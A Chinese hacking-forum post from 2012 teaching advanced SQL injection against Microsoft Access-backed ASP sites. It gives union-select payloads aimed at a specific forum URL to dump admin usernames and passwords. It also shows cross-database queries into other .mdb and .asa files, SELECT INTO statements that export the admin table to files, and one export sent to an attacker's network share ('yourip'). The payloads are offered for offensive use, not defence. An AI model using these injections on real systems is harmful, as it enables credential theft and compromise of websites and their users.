找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2067|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
--------------------------------------------------------------
1 i0 Y$ E8 b6 ~6 V5 z6 vunion查询法( Z* z; a9 O6 T+ v6 Z, i
首先要说的就是查询办法,一般的查询办法就是
8 v" @3 W( C4 d' o. |0 S* O, `; S; I  v
程序代码
8 T+ a% k. K7 Y# n) |5 |2 U5 tand 1=(select count(*) from admin where left(id,1)='1')
: n8 c9 V+ j: U, ?2 [' P. Y, H7 f  S5 E; ]" ^0 O7 t- v
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.7 ?- e1 J! J$ N% n* U% F3 a9 Y
所以这个时候,union select横空出现.别以为只能在PHP里用哦...! W7 ^# Q/ Q9 V/ q6 D) f
譬如你有一个ACCESS点:
9 Z+ ^! D+ d) ^程序代码) K% }+ b3 ~3 k" P, K: x4 Q! a
http://bbs.tian6.com/xiaoyang.asp?coder=1
) Q& t) M( d# {; x, s
" ^9 W$ ]0 a' d知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
5 S' S, `. i+ p& o然后我们直接来:0 Z  X( Z% L& [" c& ]! @9 n0 S
程序代码0 n2 Q! q" {% G1 r0 i* `* R* A! g$ D
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]
2 ~3 `" D* t: q  H5 \+ w* ^  m2 r" I: B; F- s
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.% d8 N: K) I, u) r
  C! T+ ]0 |1 [5 ~
* h4 z5 @. Z$ R  d7 A5 U

6 s3 i( X) Q# V7 b! ~* e3 n---------------------------------------------------------------
3 y& B  Z. D# hAccess跨库查询
, }6 J+ P$ l( _+ b. S% q0 W. F有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
6 W: U9 p+ F5 D- O' f跨库的查询语句:# ~1 f& K' @" K7 B' L
子查询:
- b  Q4 X, G8 i# Y: N0 }& s程序代码* b  Y' w3 J* G, {, \7 a
and (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
( I4 q# i  u$ m# S0 h, Z; P6 I  q3 g& p8 O( Q
union查询:
3 Q# q3 y2 n! H0 w8 h程序代码1 Q+ e" z3 I- p, _5 M( ]
union select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
: z$ I2 C( D( V) J3 i) a# }5 H3 z0 l' n) r: @4 _
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
+ n+ [4 a1 v. B. T, w" Q# z. F) B5 {程序代码
! @. S# u9 y% o' I! |* H6 rhttp://www.4ngel.net/article/46.htm
3 Q  D, {) q' t6 r! p! chttp://hf110.com/Article/hack/rqsl/200502/66.html& T# z- K2 H* p# Q

3 f; h7 C6 T$ N1 c3 |) H2 Y---------------------------------------------------------------
' a& }. c! r. \1 H3 Q8 VAccess注入,导出txt,htm,html
4 h. R2 w% k4 Q2 x& Q5 [子查询语句:1 B' m3 {% O: n3 \' _8 q, A( M
程序代码! O) v, o' I" h) P. e
Select * into [test.txt] in 'd:\web\' 'text;' from admin$ ^0 w$ k# D: v% Z
* |# q0 ^, B- W; R# L! ?
这样就把admin表的内容以test类型存进了d:\web里面.; h. A/ M/ p9 P% h* k  n0 S
UNION查询:
9 D5 ~) ?5 U5 R, T- I7 t& j程序代码
- w( v, C, r+ {6 w' w4 junion select * into [admin.txt] in 'c:\' 'test;' from admin" q5 z9 }1 t1 y" Q4 w2 P3 |" s
6 W& ?1 C: g( e  D+ p* l
而且这里也可以保存到本地来:
5 q" V1 k/ o) f0 h8 r6 N- f程序代码
; A0 V4 M% Z7 n; i( o6 YSelect * into [test.txt] in '\\yourip\share' 'text;' from admin
$ D0 d; A' H+ x. n
6 t3 W" p3 J6 }2 q' t9 ^不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:$ v, N* ?' R7 I6 H

2 t" h5 @% E) h) C5 T% C; d! f程序代码
# W  c+ @9 M8 Q9 }0 ]5 S  t% s, xhttp://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
: _- I! J! F2 k9 ^: A0 |& {
7 p# O6 q3 J5 A) N' f9 ^6 A, d3 J因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的." w8 v4 {8 {; B; W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表